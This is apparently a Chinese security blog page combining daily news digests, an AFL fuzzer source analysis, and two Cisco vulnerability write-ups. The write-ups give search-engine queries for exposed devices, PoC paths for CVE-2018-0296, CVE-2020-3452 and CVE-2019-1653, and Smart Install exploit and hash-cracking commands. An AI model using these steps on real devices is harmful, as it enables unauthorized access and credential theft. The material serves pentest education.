网络安全日报 2022年10月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Drinik恶意软件针对印度银行的用户发起攻击
https://blog.cyble.com/2022/10/27/drinik-malware-returns-with-advanced-capabilities-targeting-indian-taxpayers/ 2、疑似TeamTNT组织开启新一轮挖矿行动
https://thehackernews.com/2022/10/new-cryptojacking-campaign-targeting.html 3、微软发现Raspberry Robin蠕虫与Clop勒索软件存在联系
https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/ 4、GitHub修复了将存储库暴露给攻击者的关键漏洞
https://www.hackread.com/github-high-severity-repositories-vulnerability/ 5、Juniper中的Junos OS组件存在严重缺陷
https://thehackernews.com/2022/10/high-severity-flaws-in-juniper-junos-os.html 6、东欧国家首都的议会IT系统遭网络攻击
https://www.govinfosecurity.com/cyber-events-disrupt-polish-slovakian-parliament-systems-a-20358 7、Twilio表示Smishing攻击受害者人数不断增加
https://www.govinfosecurity.com/final-twilio-smishing-victim-count-reaches-209-a-20362 8、欧盟最大铜生产商Aurubis遭受网络攻击
https://www.bleepingcomputer.com/news/security/largest-eu-copper-producer-aurubis-suffers-cyberattack-it-outage/ 9、Azure CLI存在代码注入漏洞
https://securityboulevard.com/2022/10/azure-cli-code-injection-cve-2022-39327-hits-9-8-10-cvss-score/ 10、英国前首相利兹特拉斯的手机被怀疑遭俄罗斯间谍窃听
https://securityaffairs.co/wordpress/137826/intelligence/liz-truss-phone-hacked.html
CISCO设备信息泄漏漏洞案例2
前言
上一篇文章介绍了cisco路由器设备的2个漏洞案例,这次补充cisco ip电话设备和安全设备的漏洞案例。
CISCO-UCM ConfigFileCacheList.txt 泄漏
CISCO-UCM 全称Cisco Unified Communications Manager,是用于集成CISCO的语音视频通话、消息传递和移动协作的基础设施
部分 CUCM 服务器在端口 TCP/6970 上有一个 HTTP 服务,其中存在 ConfigFileCacheList.txt 文件,包含位于 TFTP 目录中的所有文件名
fofa语句
product=="CISCO-UCM"
shodan语句
http.html:"Cisco Unified Communications Manager"
payload
x.x.x.x:6970/ConfigFileCacheList.txt
在目标文件中包含了许多SEP开头的文件,那是ip电话的配置文件,sep后面接的是mac地址
可以遍历下载这个ConfigFileCacheList.txt文件内容中的所有文件
在下载的配置文件中,包含ip,描述,端口等配置信息
甚至有的还会包含明文的账号密码
可以用egrep批量查找
egrep -r 'Password' *.xml
在配置文件中获得了账号密码后,可以尝试登录UCM的web后台
当然这个 ConfigFileCacheList.txt 泄漏比较少见,如果遇到UCM可以试试访问/cucm-uds/users路径,可以泄漏用户名信息,再针对用户名进一步爆破弱口令
CVE-2018-0296 Cisco ASA 目录遍历漏洞
Cisco ASA是思科的防火墙设备,一般用于在企业边界,包含了ips,avc,wse等应用功能。
fofa语句
app="CISCO-ASA-5520"
根据文章 https://www.anquanke.com/post/id/171916 中的描述,CVE-2018-0296在不同型号设备上存在2种利用场景,一种是拒绝服务造成设备崩溃重启,一种是目录遍历获得敏感信息
在修复方案中则是增加了对./和../的处理逻辑,以防止目录遍历
拒绝服务这里就不具体测试了,主要看下目录遍历的利用
检测poc
/+CSCOU+/../+CSCOE+/files/file_list.json
注意,类似的poc不能在浏览器里直接粘贴访问,因为浏览器会自动将访问的路径类似/../解析为上一级目录,也就是访问的为/+CSCOE+/files/file_list.json
列出 /sessions 目录的内容
/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
提取登录用户的登录信息
/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/[name]
CVE-2020-3452 Cisco ASA 目录遍历漏洞
CVE-2020-3452漏洞可以在未验证的情况下进行任意文件读取
该漏洞源于 ASA 和 FTD 的 web 服务接口在处理 HTTP 请求的 URL 时缺乏正确的输入验证,导致攻击者可以在目标设备上查看系统内的web目录文件。
此漏洞不能用于获取对 ASA 或 FTD 系统文件或底层操作系统 (OS) 文件的访问,所以只能读取 web 系统目录的文件,比如 webvpn 的配置文件、书签、网络 cookies、部分网络内容和超文本传输协议网址等信息。
作者在推特分享的检测poc
https://twitter.com/aboul3la/status/1286141887716503553/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
读取 /+CSCOE+/portal_inc.lua 文件
至于进一步利用,有研究人员给出了一些已知文件列表
https://twitter.com/HackerGautam/status/1286652700432662528https://raw.githubusercontent.com/3ndG4me/CVE-2020-3452-Exploit/master/cisco_asa_file_list.txt不过实际测试,除了session.js 跑出了一个乱码的内容以外,其他的文件多是一些资源文件,难以进一步利用。
网络安全日报 2022年10月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Raspberry Robin蠕虫向勒索团伙出售受损企业网络的访问权限
https://securityaffairs.co/wordpress/137722/malware/raspberry-robin-clop-ransomware.html 2、跨国媒体集团 Thomson Reuters泄露了3TB敏感数据
https://securityaffairs.co/wordpress/137718/data-breach/thomson-reuters-database-exposed.html 3、SiriSpy 漏洞允许窃听用户与 Siri 的对话
https://securityaffairs.co/wordpress/137710/security/sirispy-apple-flaw-spy-conversations.html 4、GitHub 帐户重命名可能导致供应链攻击
https://www.securityweek.com/github-account-renaming-could-have-led-supply-chain-attacks 5、研究人员公开了 80 多个恶意软件ShadowPad的 C2 服务器
https://thehackernews.com/2022/10/researchers-expose-over-80-shadowpad.html 6、安天发布白象组织近期网络攻击活动分析报告
https://mp.weixin.qq.com/s/BXjZ6fEgNmLY_l8cZt1FXQ 7、Vice Society组织使用多种勒索软件发起攻击
https://thehackernews.com/2022/10/vice-society-hackers-are-behind-several.html 8、LV勒索软件利用ProxyShell攻击一家位于约旦的公司
https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html 9、黑客部署RomCom RAT对乌克兰军方发起攻击
https://thehackernews.com/2022/10/romcom-hackers-circulating-malicious.html 10、新的挖矿活动针对易受攻击的Docker和Kubernetes实例
https://thehackernews.com/2022/10/new-cryptojacking-campaign-targeting.html
网络安全日报 2022年10月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌浏览器将于 2023 年 2 月放弃对 Windows 7 / 8.1 的支持
https://www.bleepingcomputer.com/news/google/google-chrome-to-drop-support-for-windows-7-81-in-feb-2023/ 2、 韩首次参加美主导的“网络旗帜”多国联合网络攻防演习
https://m.gmw.cn/baijia/2022-10/25/1303177306.html 3、伊朗原子能组织遭黑客攻击,大量敏感数据泄露
https://www.secrss.com/articles/48251 4、OpenSSL 修补自 2016 年以来的第一个严重漏洞
https://www.securityweek.com/openssl-patch-first-critical-vulnerability-2016 5、国际票务公司 See Tickets 披露数据泄露事件,客户支付卡信息泄露
https://securityaffairs.co/wordpress/137673/data-breach/see-tickets-data-breach.html 6、VMware 修复了 VMware Cloud Foundation 中的严重 RCE漏洞
https://securityaffairs.co/wordpress/137640/hacking/vmware-cloud-foundation-rce.html 7、Cisco AnyConnect 客户端中的两个漏洞被利用
https://securityaffairs.co/wordpress/137654/security/cisco-anyconnect-secure-mobility-flaws.html 8、Melis Platform CMS修补了关键RCE漏洞
https://portswigger.net/daily-swig/melis-platform-cms-patched-for-critical-rce-flaw 9、工业互联网总体网络架构国家标准正式发布
https://www.secrss.com/articles/48266 10、Kimsuky 使用 3 个新的 Android 恶意软件针对韩国人
https://thehackernews.com/2022/10/kimsuky-hackers-spotted-using-3-new.html
网络安全日报 2022年10月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、LockBit勒索软件团伙攻击了汽车经销商Pendragon
https://www.bleepingcomputer.com/news/security/pendragon-car-dealer-refuses-60-million-lockbit-ransomware-demand/ 2、Abode Home Security Kit中的严重缺陷允许黑客劫持、禁用摄像头
https://cert.gov.ua/article/2394117 3、SQLite 数据库一个存在 22 年之久的高危漏洞被披露
https://thehackernews.com/2022/10/22-year-old-vulnerability-reported-in.html 4、Hive 勒索软件开始泄露从 Tata Power Energy 公司窃取的数据
https://thehackernews.com/2022/10/hive-ransomware-hackers-begin-leaking.html 5、研究人员披露了Windows 事件日志的两个漏洞详细信息
https://thehackernews.com/2022/10/researchers-detail-windows-event-log.html 6、Apple 发布 macOS Ventura 13 修补了 100 多个漏洞
https://www.securityweek.com/apple-patches-over-100-vulnerabilities-release-macos-ventura-13 7、Jira Align 漏洞使 Atlassian 基础设施受到攻击
https://www.securityweek.com/jira-align-vulnerabilities-exposed-atlassian-infrastructure-attacks 8、恶意软件活动Dormant Colors 通过Chrome 扩展程序劫持浏览器
https://www.bleepingcomputer.com/news/security/chrome-extensions-with-1-million-installs-hijack-targets-browsers/ 9、Orca Security披露Azure SFX漏洞FabriXss细节
https://www.anquanke.com/post/id/282019 10、两个 PoS 恶意软件窃取了 167,000 多张信用卡数据
https://securityaffairs.co/wordpress/137608/malware/pos-malware-stolen-card-data.html
模糊测试工具AFL源码浅析
前言
AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。
环境
项目:https://github.com/google/AFL.git
编译项目:将编译的优化选项关闭,即改写成-O0
afl-gcc.c
使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数
find_as函数
find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径
若上述环境变量不存在则获取当前afl-gcc所在的文件路径
判断该路径下的as文件是否具有可执行权限
u8 *afl_path = getenv("AFL_PATH");
...
if (afl_path) {
tmp = alloc_printf("%s/as", afl_path); //将AFL所在路径与字符as进行拼接
if (!access(tmp, X_OK)) { //函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1
as_path = afl_path;
ck_free(tmp);
return;
}
ck_free(tmp);
}
slash = strrchr(argv0, '/'); //在参数argv0所指向的字符串中搜索最后一次出现字符'/'
if (slash) {
u8 *dir;
*slash = 0;
dir = ck_strdup(argv0);
*slash = '/';
tmp = alloc_printf("%s/afl-as", dir); //将当前AFL所在的路径跟afl-as进行拼接
if (!access(tmp, X_OK)) {
as_path = dir;
ck_free(tmp);
return;
}
...
edit_params函数
edit_params函数实际就是准备需要传入编译器的参数,如编译器的类型gcc或clang
其次就是是否需要开启保护如canary等
最后就是判断是否开启内存泄漏探测的工具,如ASAN,该工具是针对C/C++ 的快速内存错误检测工具
...
cc_params = ck_alloc((argc + 128) * sizeof(u8*));
name = strrchr(argv[0], '/'); //获取可执行文件名称
if (!name) name = argv[0]; else name++; /*跳过路径符'/' */
if (!strncmp(name, "afl-clang", 9)) { //判断编译器是否为clang
...
}
else {
if (!strcmp(name, "afl-g++")) {
u8* alt_cxx = getenv("AFL_CXX");
cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++";
} else if (!strcmp(name, "afl-gcj")) {
u8* alt_cc = getenv("AFL_GCJ");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj";
} else {
u8* alt_cc = getenv("AFL_CC");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; //如环境变量没写入AFL_CC则默认使用gcc
}
}
while (--argc) {
u8* cur = *(++argv); //读取下一个参数
if (!strncmp(cur, "-B", 2)) { //若参数是-B
if (!be_quiet) WARNF("-B is already set, overriding"); //用于设置编译器的搜索路径
if (!cur[2] && argc > 1) { argc--; argv++; }//继续读取下一个参数
continue;
}
if (!strcmp(cur, "-integrated-as")) continue;
if (!strcmp(cur, "-pipe")) continue;
#if defined(__FreeBSD__) && defined(__x86_64__)
if (!strcmp(cur, "-m32")) m32_set = 1;
#endif
if (!strcmp(cur, "-fsanitize=address") ||
!strcmp(cur, "-fsanitize=memory")) asan_set = 1; //内存访问的错误
if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1;//缓冲区溢出问题的检查
cc_params[cc_par_cnt++] = cur; //cc_params用于存放的参数
}
cc_params[cc_par_cnt++] = "-B"; //参数-B
cc_params[cc_par_cnt++] = as_path; //afl-as的路径
if (clang_mode)
cc_params[cc_par_cnt++] = "-no-integrated-as";
if (getenv("AFL_HARDEN")) {
cc_params[cc_par_cnt++] = "-fstack-protector-all"; //canary保护
if (!fortify_set)
cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2";
}
if (asan_set) {
/* Pass this on to afl-as to adjust map density. */
setenv("AFL_USE_ASAN", "1", 1);
} else if (getenv("AFL_USE_ASAN")) {
if (getenv("AFL_USE_MSAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("ASAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=address";
} else if (getenv("AFL_USE_MSAN")) {
if (getenv("AFL_USE_ASAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("MSAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=memory";
}
...
cc_params[cc_par_cnt++] = "-g";
...
cc_params[cc_par_cnt++] = "-O3";
cc_params[cc_par_cnt++] = "-funroll-loops";
/* Two indicators that you're building for fuzzing; one of them is
AFL-specific, the other is shared with libfuzzer. */
cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1";
cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1";
}
if (getenv("AFL_NO_BUILTIN")) {
cc_params[cc_par_cnt++] = "-fno-builtin-strcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-memcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strstr";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr";
}
cc_params[cc_par_cnt] = NULL;
}
通过edit_params函数后
可以传递给编译器的参数增加了-B . -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1这几项
main函数
首先调用isatty函数判断描述符是否为终端机以及是否为静默模式,即不打印任何信息,SAYF即输出函数用于输出提示字符
接着通过find_as函数搜索as文件所在的路径
接着通过edit_params函数编辑获取需要传入编译器的参数
最后通过execvp函数启动gcc或其他编译器
/*
isatty函数用于判断文件描述词是否是为终端机
获取AFL_QUIET的环境变量
*/
if (isatty(2) && !getenv("AFL_QUIET")) { //判断是否静默模式
/*
#ifdef MESSAGES_TO_STDOUT
# define SAYF(x...) printf(x)
#else
# define SAYF(x...) fprintf(stderr, x)
#endif
*/
SAYF(cCYA "afl-cc " cBRI VERSION cRST " by <lcamtuf@google.com>\n");
} else be_quiet = 1;
if (argc < 2) { //参数个数小于两个
SAYF("\n"
"This is a helper application for afl-fuzz. It serves as a drop-in replacement\n"
"for gcc or clang, letting you recompile third-party code with the required\n"
"runtime instrumentation. A common use pattern would be one of the following:\n\n"
" CC=%s/afl-gcc ./configure\n"
" CXX=%s/afl-g++ ./configure\n\n"
"You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS.\n"
"Setting AFL_HARDEN enables hardening optimizations in the compiled code.\n\n",
BIN_PATH, BIN_PATH);
exit(1);
}
find_as(argv[0]); //用于寻找as所在路径
edit_params(argc, argv);//用于获取编译参数
execvp(cc_params[0], (char**)cc_params);//启动gcc或其他编译器
大致流程图
afl-gcc可以看作是劫持了gcc的一个程序,从而修改as的路径(为了后续的插桩做准备),并且添加所有fuzzing所需要的参数再传入实际的编译器中去(这里以gcc作为例子)
afl-as.c
edit_params函数
afl-as.c的edit_params函数比较简单
首先是确定as文件所在的路径,若没有设置环境变量则直接使用as作为汇编器所在路径的参数
其次是检测.s文件是否在临时目录下,这里我做了测试如果.s不在临时目录则无法插桩成功
最后随机生成文件名,将该文件作为插桩后的文件并作为传输传入汇编器
u8 *tmp_dir = getenv("TMPDIR"), *afl_as = getenv("AFL_AS"); //afl-as的地址
...
as_params = ck_alloc((argc + 32) * sizeof(u8*)); //给参数分配空间
as_params[0] = afl_as ? afl_as : (u8*)"as";
as_params[argc] = 0; //截断符
...
//用于记录文件是64位还是32位
for (i = 1; i < argc - 1; i++) {
if (!strcmp(argv[i], "--64")) use_64bit = 1;
else if (!strcmp(argv[i], "--32")) use_64bit = 0;
...
if (strncmp(input_file, tmp_dir, strlen(tmp_dir)) &&
strncmp(input_file, "/var/tmp/", 9) &&
strncmp(input_file, "/tmp/", 5)) pass_thru = 1; //汇编文件需要放在临时目录下,否则后续无法对文件进行插桩
}
modified_file = alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),
(u32)time(NULL)); //随机生成文件名,作为插桩的目标文件
...
as_params[as_par_cnt++] = modified_file; //将待修改的文件名作为汇编器的参数
as_params[as_par_cnt] = NULL;
add_instrumentation函数
add_instrumentation函数是插桩的关键函数
首先是分别打开需要编译的文件以及存放插桩后的文件,并且对需要编译的文件逐行逐行进行扫描
其次对于以下情况的代码块不进行插桩处理
pass_thru = 1,这里经调试发现只要.s文件存在于临时目录下pass_thru的值就会为0,pass_thru = 1的意思是只传递数据不进行插桩
skip_intel = 1即为跳过intel的汇编语法的代码
不在.text段内
在.text段但是不处于函数标签或者分支标签
trampoline_fmt_64与trampoline_fmt_32即为需要插桩的代码,并会记录总共插桩了几处
若进行了插桩处理,那么则需要在文件末尾插入main_payload_64,是与afl进行fuzzing相关的函数
...
if (input_file) { //需要编译的文件
inf = fopen(input_file, "r");
if (!inf) PFATAL("Unable to read '%s'", input_file);
} else inf = stdin;
outfd = open(modified_file, O_WRONLY | O_EXCL | O_CREAT, 0600); //打开存放插桩后的文件
if (outfd < 0) PFATAL("Unable to write to '%s'", modified_file);
outf = fdopen(outfd, "w");
if (!outf) PFATAL("fdopen() failed");
while (fgets(line, MAX_LINE, inf)) { //对需要汇编的文件进行一行一行的扫描
/* In some cases, we want to defer writing the instrumentation trampoline
until after all the labels, macros, comments, etc. If we're in this
mode, and if the line starts with a tab followed by a character, dump
the trampoline now. */
//isalpha是一种函数:判断字符ch是否为英文字母
//# define R(x) (random() % (x))
if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&
instrument_next && line[0] == '\t' && isalpha(line[1])) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //将插桩代码写入改写文件中,trampoline_fmt_64为64位程序的插桩代码,trampoline_fmt_32为32位程序的插桩代码
instrument_next = 0;
ins_lines++; //总共插桩了多少处地方
}
...
if (line[0] == '\t' && line[1] == '.') {
/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal.
OpenBSD为一个类unix的操作系统
*/
if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8) &&
isdigit(line[10]) && line[11] == '\n') skip_next_label = 1; //跳转到下一个标签
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1; //只要是text段就是我们应该插桩的段
continue;
}
if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)) {
instr_ok = 0; //不需要插桩的段
continue;
}
}
...
if (line[0] == '\t') {//检测jnz等分支指令
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { //绝对跳转jmp不进行插桩处理
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //给分支跳转指令进行插桩
ins_lines++; //插桩的指令数
}
continue; //插桩完直接跳过
}
...
if (strstr(line, ":")) { //检测标签
if (line[0] == '.') {
/* Apple: .L<num> / .LBB<num> */
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) //分支标签
&& R(100) < inst_ratio) {
...
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//若该标签不需要跳转则记录下来,该标签需要插桩
}
} else { //函数标签
/* Function label (always instrumented, deferred mode). */
instrument_next = 1;//函数标签都需要进行插桩
}
}
}
if (ins_lines)
fputs(use_64bit ? main_payload_64 : main_payload_32, outf); //若进行插桩处理则需要插入main_payload_64
这里重点关注一下插桩的位置
情况一:函数入口,例如main函数
函数标签处的插桩如下图所示,插桩的位置是函数第一条指令的上方进行插桩
情况二:分支跳转,例如jle指令
扫描到分支跳转指令,则直接在跳转指令下方进行插桩处理,如下图所示
情况三:.L<num>标签
.L为本地标签,afl-as.c也会扫描该标签并进行插桩处理,可以看到跳转指令的目的地地址就是以.L<num>,因此.L<num>可以认为分支的起始位置,与函数标签一样,会在第一条指令上方进行插桩处理
main函数
main函数主要经过edit_params函数修改了传入汇编器的参数,并且对汇编文件进行插桩处理,最后使用execvp函数启动汇编器进行汇编处理
...
gettimeofday(&tv, &tz);
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();//随机种子
srandom(rand_seed);//通过种子生成随机数
edit_params(argc, argv); //加载参数,并在/tmp/目录下生成临时的汇编文件
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)");
}
if (getenv(AS_LOOP_ENV_VAR))
FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");
setenv(AS_LOOP_ENV_VAR, "1", 1);
/* When compiling with ASAN, we don't have a particularly elegant way to skip
ASAN-specific branches. But we can probabilistically compensate for
that... */
if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {
sanitizer = 1;
inst_ratio /= 3;
}
if (!just_version) add_instrumentation();//对文件进行插桩处理
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params);//将插桩后的文件传入汇编器中
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
...
传入汇编器的参数情况
大致流程图
afl-as相当于劫持了as从而修改汇编的文件名以及对相应的汇编文件进行插桩处理
afl-as.h
该文件放置了插桩需要的代码如trampoline_fmt_64、trampoline_fmt_32、main_payload_64以及main_payload_32,这些代码结合fuzzing过程有关。
总结
afl-gcc与afl-as可以看作是劫持了编译器,将fuzzing相关的参数设置好并对编译文件进行相应的插桩后再调用实际的编译器。
网络安全日报 2022年10月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Apple 发布 iOS 16.1 补丁修复被利用的零日漏洞
https://www.securityweek.com/apple-fixes-exploited-zero-day-ios-161-patch 2、研究人员发现了数千个 GitHub项目提供虚假PoC分发恶意软件
https://securityaffairs.co/wordpress/137527/hacking/malicious-github-repositories.html 3、SideWinder APT 使用新的 WarHawk 后门攻击巴基斯坦的实体
https://thehackernews.com/2022/10/sidewinder-apt-using-new-warhawk.html 4、Typosquat冒充27个品牌推送Windows和Android恶意软件
https://www.bleepingcomputer.com/news/security/typosquat-campaign-mimics-27-brands-to-push-windows-android-malware/ 5、卡塔尔世界杯官方应用被指是间谍软件
https://www.solidot.org/story?sid=73123 6、Facebook 开发出闽南语 AI 翻译系统
https://www.solidot.org/story?sid=73132 7、得州起诉 Google 非法收集生物识别数据
https://www.solidot.org/story?sid=73127 8、国际刑警组织建立元宇宙总部,关注在虚拟现实中的犯罪
https://www.cnbeta.com/articles/tech/1330087.htm 9、CISA 警告 Daixin Team 黑客使用勒索软件攻击卫生组织
https://thehackernews.com/2022/10/cisa-warns-of-daixin-team-hackers.html 10、名为TommyLeaks和SchoolBoys的新网络勒索组织针对全球多家公司
https://www.freebuf.com/news/347695.html
网络安全日报 2022年10月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、OldGremlin黑客使用Linux勒索软件攻击俄罗斯组织
https://www.bleepingcomputer.com/news/security/oldgremlin-hackers-use-linux-ransomware-to-attack-russian-orgs/ 2、Ursnif恶意软件将重点转移到勒索软件和数据盗窃上
https://www.zdnet.com/article/this-old-malware-has-been-rebuilt-with-new-features-to-use-in-ransomware-attacks/ 3、批发巨头METRO遭网络攻击后IT系统中断
https://www.bleepingcomputer.com/news/security/wholesale-giant-metro-hit-by-it-outage-after-cyberattack/ 4、黑客开始利用Text4Shell漏洞发起攻击
https://thehackernews.com/2022/10/hackers-started-exploiting-critical.html 5、多个活动利用VMware漏洞部署加密矿工和勒索软件
https://thehackernews.com/2022/10/multiple-campaigns-exploit-vmware.html 6、Emotet僵尸网络发起新一轮恶意垃圾邮件活动
https://thehackernews.com/2022/10/emotet-botnet-distributing-self.html 7、研究人员披露了Move虚拟机中现已修补漏洞的详细信息
https://thehackernews.com/2022/10/critical-flaw-reported-in-move-virtual.html 8、黑客窃取了伊朗原子能机构的敏感数据
https://securityaffairs.co/wordpress/137513/hacking/hackers-stole-sensitive-data-from-irans-atomic-energy-agency.html 9、《汽车数据处理安全要求》等 14 项网络安全国家标准获批发布
https://www.secrss.com/articles/48092 10、亚马逊因滥用算法在英国面临集体诉讼
https://www.ithome.com/0/647/771.htm
网络安全日报 2022年10月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌开源【软件供应链安全】工具GUAC
https://github.com/guacsec/guac 2、微软确认数据泄露事件,大量客户信息被暴露
https://securityaffairs.co/wordpress/137397/data-breach/microsoft-data-leak-2.html 3、巴西警方逮捕了一名涉嫌参与 LAPSUS$勒索软件团伙的男子
https://securityaffairs.co/wordpress/137381/cyber-crime/brazilian-police-arrested-lapsus-member.html 4、安全研究人员发现了数百万个公开的 .git 文件夹
https://securityaffairs.co/wordpress/137371/security/millions-git-folders-exposed-public.html 5、16款被Clicker 恶意软件感染的 Android 应用下载量超 2000 万次
https://thehackernews.com/2022/10/these-16-clicker-malware-infected.html 6、新的 Ursnif 变体将重点转移到勒索软件和数据盗窃上
https://thehackernews.com/2022/10/latest-ursnif-variant-shifts-focus-from.html 7、德国Stimme Mediengruppe集团遭勒索软件攻击
https://www.malwarebytes.com/blog/news/2022/10/ransomware-attack-freezes-newspaper-printing-system 8、研究人员公布Azure SFX漏洞详细信息
https://thehackernews.com/2022/10/researchers-detail-azure-sfx-flaw-that.html 9、德国网络安全负责人因涉嫌与俄罗斯有联系而被解雇
https://www.inforisktoday.com/german-cybersecurity-head-dismissed-for-alleged-russia-ties-a-20287 10、新加坡成立反勒索软件工作组以应对威胁
https://www.infosecurity-magazine.com/news/singapore-creates-ransomware-task/
CISCO设备信息泄漏漏洞案例
前言
在日常的渗透任务中,除了常见的集权设备,高危组件的漏洞挖掘,一些iot设备目标也是可以作为重点关注的存在。近期实战中遇到了几个cisco配置信息泄漏的案例,借此机会复习总结下cisco常见的漏洞。
cisco SMI 配置泄漏
Cisco SMI 是一种即插即用功能,可为 Cisco 交换机提供零接触部署并在 TCP 端口 4786 上进行通信。如果发现开放4786端口的cisco设备,那可以深入测试一下。
fofa 语句 protocol="smi"
影响目标还挺多的
git clone https://github.com/ChristianPapathanasiou/CiscoSmartInstallExploit
cd CiscoSmartInstallExploit
pip2 install tftpy
python2 cisco.py [ip]
注意用python2运行,运行成功会下载目标的运行配置
配置文件中存有设备用户密码,ACL配置,ftp配置账号密码等敏感信息
如果想进一步分析配置文件可以下载 ccat 工具进行自动化分析
https://github.com/frostbits-security/ccatgit clone https://github.com/frostbits-security/ccat.git
cd ccat
pip3 install -r requirements.txt
python3 ccat.py configuration_file
我们可以使用 --dump-creds 参数dump出账号密码
文件名m500的可以用hashcat -m 500的掩码进行爆破,5700同理
CVE-2019-1652 && CVE-2019-1653
Cisco RV320 路由器的配置可以在未经身份验证的情况下通过设备的 Web 界面导出。
fofa 语句 app="CISCO-RV320”
对应poc
ip:port/cgi-bin/config.exp
下载的配置文件中有账号和md5的密码,不过md5的格式为 md5($password.$auth_key),其中 auth_key 是一个静态值,可以通过直接访问 / 路径找到。
当然在通过 CVE-2019-1653 获得了账号和md5的密码后可以通过替换登录包的hash进行登录,无需解密
后台可以配合 CVE-2019-1652 进行 rce
